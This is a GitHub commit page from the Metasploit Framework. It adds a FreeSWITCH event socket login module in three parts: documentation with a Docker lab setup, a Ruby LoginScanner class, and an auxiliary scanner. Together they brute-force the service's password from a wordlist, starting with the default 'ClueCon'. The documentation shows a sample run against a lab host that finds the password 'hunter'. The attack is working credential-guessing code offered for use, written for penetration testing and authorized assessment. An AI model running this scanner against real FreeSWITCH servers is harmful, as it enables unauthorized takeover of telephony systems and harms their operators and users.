Skip to content

Commit b40dd95

Browse files
Land #16723, Add FreeSwitch Login auxiliary module
2 parents 9de7411 + e944196 commit b40dd95

File tree

3 files changed

+262
-0
lines changed

3 files changed

+262
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
## Vulnerable Application
2+
[FreeSWITCH](https://freeswitch.com/) is a free and open-source software defined telecommunications stack for real-time communication,
3+
WebRTC, telecommunications, video, and Voice over Internet Protocol.
4+
5+
The [Event Socket](https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket) `mod_event_socket` is a TCP based interface to
6+
control FreeSWITCH and is enabled by default.
7+
8+
This module has been tested successfully on FreeSWITCH versions:
9+
* 1.10.7-release-19-883d2cb662~64bit on Debian 10.11 (buster)
10+
11+
### Description
12+
13+
This module is a login utility to find the password of the FreeSWITCH event socket service by bruteforcing the login interface.
14+
Note that this service does not require a username to log in; login is done purely via supplying a valid password.
15+
This module will stops as soon as a valid password is found.
16+
17+
This service is enabled by default and listens on TCP port 8021 on the local network interface.
18+
19+
Source and Installers:
20+
* [Source Code Repository](https://github.com/signalwire/freeswitch)
21+
* [Installers](https://freeswitch.org/confluence/display/FREESWITCH/Installation)
22+
* [Virtual Machine](https://freeswitch.com/index.php/fs-virtual-machine/)
23+
* [Docker](https://github.com/drachtio/docker-drachtio-freeswitch-mrf)
24+
25+
Docker installation:
26+
```
27+
docker pull drachtio/drachtio-freeswitch-mrf
28+
docker run -d --rm --name FS1 --net=host \
29+
-v /home/deploy/log:/usr/local/freeswitch/log \
30+
-v /home/deploy/sounds:/usr/local/freeswitch/sounds \
31+
-v /home/deploy/recordings:/usr/local/freeswitch/recordings \
32+
drachtio/drachtio-freeswitch-mrf freeswitch --sip-port 5038 --tls-port 5039 --rtp-range-start 20000 --rtp-range-end 21000 --password hunter
33+
```
34+
35+
## Verification Steps
36+
1. Do: `use auxiliary/scanner/misc/freeswitch_event_socket_login`
37+
2. Do: `set RHOSTS [ips]`
38+
3. Do: `set PASS_FILE /home/kali/passwords.txt`
39+
4. Do: `run`
40+
41+
## Options
42+
### PASS_FILE
43+
The file containing a list of passwords to try logging in with.
44+
45+
## Scenarios
46+
### FreeSWITCH 1.10.7 Linux Debian 10.11 (Docker Image)
47+
```
48+
msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login
49+
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1
50+
RHOSTS => 192.168.56.1
51+
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt
52+
PASS_FILE => /home/kali/passwords.txt
53+
msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > run
54+
55+
[!] 192.168.56.1:8021 - No active DB -- Credential data will not be saved!
56+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: ClueCon (Incorrect: -ERR invalid)
57+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: admin (Incorrect: -ERR invalid)
58+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456 (Incorrect: -ERR invalid)
59+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 12345 (Incorrect: -ERR invalid)
60+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: 123456789 (Incorrect: -ERR invalid)
61+
[-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: password (Incorrect: -ERR invalid)
62+
[+] 192.168.56.1:8021 - 192.168.56.1:8021 - Login Successful: hunter (Successful: +OK accepted)
63+
[*] 192.168.56.1:8021 - Scanned 1 of 1 hosts (100% complete)
64+
[*] Auxiliary module execution completed
65+
```
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
require 'metasploit/framework/login_scanner/base'
2+
require 'metasploit/framework/login_scanner/rex_socket'
3+
require 'metasploit/framework/tcp/client'
4+
5+
module Metasploit
6+
module Framework
7+
module LoginScanner
8+
9+
# This is the LoginScanner class for dealing with FreeSWITCH EventSocket.
10+
# It is responsible for taking a single target, and a list of credentials
11+
# and attempting them. It then saves the results.
12+
13+
class FreeswitchEventSocket
14+
include Metasploit::Framework::LoginScanner::Base
15+
include Metasploit::Framework::LoginScanner::RexSocket
16+
include Metasploit::Framework::Tcp::Client
17+
18+
DEFAULT_PORT = 8021
19+
LIKELY_PORTS = [ DEFAULT_PORT ]
20+
LIKELY_SERVICE_NAMES = [ 'freeswitch' ]
21+
PRIVATE_TYPES = [ :password ]
22+
REALM_KEY = nil
23+
24+
# This method attempts a single login with a single credential against the target
25+
# @param credential [Credential] The credential object to attempt to login with
26+
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
27+
def attempt_login(credential)
28+
result_options = {
29+
credential: credential,
30+
status: Metasploit::Model::Login::Status::INCORRECT,
31+
host: host,
32+
port: port,
33+
protocol: 'tcp',
34+
service_name: 'freeswitch'
35+
}
36+
37+
disconnect if self.sock
38+
39+
begin
40+
connect
41+
select([sock], nil, nil, 0.4)
42+
43+
sock.get_once
44+
sock.put("auth #{credential.private}\n\n")
45+
46+
/Reply-Text: (?<reply>.*)/ =~ sock.get_once
47+
result_options[:proof] = reply
48+
49+
# Invalid password - ( -ERR invalid\n\n )
50+
# Valid password - ( +OK accepted\n\n )
51+
52+
if result_options[:proof]&.include?('-ERR invalid')
53+
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
54+
elsif result_options[:proof]&.include?('+OK accepted')
55+
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
56+
end
57+
58+
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE, Rex::StreamClosedError => e
59+
result_options.merge!(
60+
proof: e.message,
61+
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
62+
)
63+
end
64+
disconnect if self.sock
65+
::Metasploit::Framework::LoginScanner::Result.new(result_options)
66+
end
67+
68+
private
69+
70+
# (see Base#set_sane_defaults)
71+
def set_sane_defaults
72+
self.connection_timeout ||= 10
73+
self.port ||= DEFAULT_PORT
74+
self.max_send_size ||= 0
75+
self.send_delay ||= 0
76+
end
77+
end
78+
end
79+
end
80+
end
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'metasploit/framework/credential_collection'
7+
require 'metasploit/framework/login_scanner/freeswitch_event_socket'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
include Msf::Auxiliary::AuthBrute
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'FreeSWITCH Event Socket Login',
21+
'Description' => %q{
22+
This module tests FreeSWITCH Event Socket logins on a range of
23+
machines and report successful attempts.
24+
},
25+
'Author' => [
26+
'krastanoel'
27+
],
28+
'References' => [
29+
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
30+
],
31+
'DefaultOptions' => { 'VERBOSE' => false },
32+
'License' => MSF_LICENSE,
33+
'Notes' => {
34+
'Stability' => [CRASH_SERVICE_RESTARTS],
35+
'Reliability' => [],
36+
'SideEffects' => []
37+
}
38+
)
39+
)
40+
41+
register_options(
42+
[
43+
Opt::RPORT(8021),
44+
OptString.new('PASSWORD', [false, 'FreeSWITCH event socket default password', 'ClueCon']),
45+
OptPath.new('PASS_FILE',
46+
[
47+
false,
48+
'The file that contains a list of of probable passwords.',
49+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
50+
])
51+
]
52+
)
53+
54+
# freeswitch does not have an username, there's only password
55+
deregister_options(
56+
'DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING', 'BLANK_PASSWORDS',
57+
'USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE',
58+
'PASSWORD_SPRAY', 'STOP_ON_SUCCESS'
59+
)
60+
end
61+
62+
def run_host(ip)
63+
cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(
64+
password: datastore['PASSWORD'],
65+
pass_file: datastore['PASS_FILE']
66+
)
67+
cred_collection = prepend_db_passwords(cred_collection)
68+
69+
scanner = Metasploit::Framework::LoginScanner::FreeswitchEventSocket.new(
70+
host: ip,
71+
port: rport,
72+
cred_details: cred_collection,
73+
stop_on_success: true, # this will have no effect due to the scanner behaviour when scanning without username
74+
connection_timeout: 10
75+
)
76+
77+
scanner.scan! do |result|
78+
credential_data = result.to_h
79+
credential_data.merge!(
80+
module_fullname: fullname,
81+
workspace_id: myworkspace_id
82+
)
83+
84+
if result.success?
85+
credential_data.delete(:username) # This service uses no username
86+
credential_core = create_credential(credential_data)
87+
credential_data[:core] = credential_core
88+
create_credential_login(credential_data)
89+
90+
if datastore['VERBOSE']
91+
vprint_good("Login Successful: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
92+
else
93+
print_good("Login Successful: #{result.credential.private}")
94+
end
95+
else
96+
invalidate_login(credential_data)
97+
vprint_error("LOGIN FAILED: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
98+
end
99+
end
100+
end
101+
102+
def check_host(_ip)
103+
connect
104+
banner = sock.get
105+
disconnect(sock)
106+
107+
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
108+
return Exploit::CheckCode::Safe('Access denied by network ACL')
109+
end
110+
111+
unless banner.include?('Content-Type: auth/request')
112+
return Exploit::CheckCode::Unknown('Unable to determine the service fingerprint')
113+
end
114+
115+
return Exploit::CheckCode::Appears
116+
end
117+
end

0 commit comments

Comments
 (0)